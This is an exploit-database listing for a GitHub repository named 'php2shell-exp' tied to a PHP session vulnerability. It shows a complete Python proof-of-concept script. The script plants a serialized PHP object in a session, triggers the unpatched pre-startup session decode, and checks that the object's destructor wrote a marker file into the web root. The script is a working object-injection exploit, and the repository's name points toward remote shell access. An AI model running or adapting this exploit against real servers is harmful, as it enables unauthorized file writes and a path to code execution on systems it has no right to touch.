Exploit databaseDownload repository ZIP
GH-7cd2a2266a74c50756d1fca034d18cb1
bohesama1999/php2shell-exp
Sources for CVE-2026-109618
412 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files4
bohesama1999/php2shell-expRevision 0438273aa2fb
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
exp/poc_pre_rinit.py
Python · 2,144 bytes#!/usr/bin/env python3
"""Proof of concept: pre-RINIT session decode runs a destructor (no command exec).
Derived from the patch: ext/session/session.c gates the upload-progress decode
with PS(in_rfc1867_update) -> php_var_unserialize_set_incomplete_classes_only().
Before that fix, a session record containing an object is instantiated with full
semantics while the request is still in startup.
Steps:
1. plant a `Probe` object through /app/upload.php (php_serialize handler)
2. POST an upload_progress multipart to /api/pre.php (php handler, no session_start)
3. GET the marker the destructor wrote
Exit codes: 0 = destructor ran, 1 = it did not.
"""
import argparse
import sys
import lib2shell as l2s
def main():
ap = argparse.ArgumentParser(description=__doc__.splitlines()[0])
ap.add_argument("--target", default="http://127.0.0.1:18080")
ap.add_argument("--sid", default="")
ap.add_argument("--write-path", default="/app/upload.php")
ap.add_argument("--read-path", default="/api/pre.php")
ap.add_argument("--tag", default="pre-rinit-destructor-fired")
args = ap.parse_args()
t = l2s.Target(args.target)
sid = args.sid or l2s.new_sid()
marker = f"/poc_{sid}.txt"
payload = "x|" + l2s.php_object("Probe", [("tag", args.tag), ("out", "/var/www/html" + marker)])
print(f"[*] target {t}")
print(f"[*] sid {sid}")
print(f"[*] write {args.write_path} (php_serialize)")
print(f"[*] decode {args.read_path} (php, no session_start)")
r1 = l2s.plant(t, sid, payload, path=args.write_path)
print(f"[1] plant {l2s.status_of(r1)}")
r = l2s.trigger(t, sid, path=args.read_path)
print(f"[2] trigger {l2s.status_of(r)}")
data = l2s.wait_for_text(t, marker, args.tag.encode())
print(f"[3] marker {marker}")
if data and args.tag.encode() in data:
print(f"[+] CONFIRMED destructor ran before the target script: {data.decode(errors='replace').strip()}")
return 0
print("[-] not triggered (patched, wrong paths, or cleanup=On)")
return 1
if __name__ == "__main__":
sys.exit(main())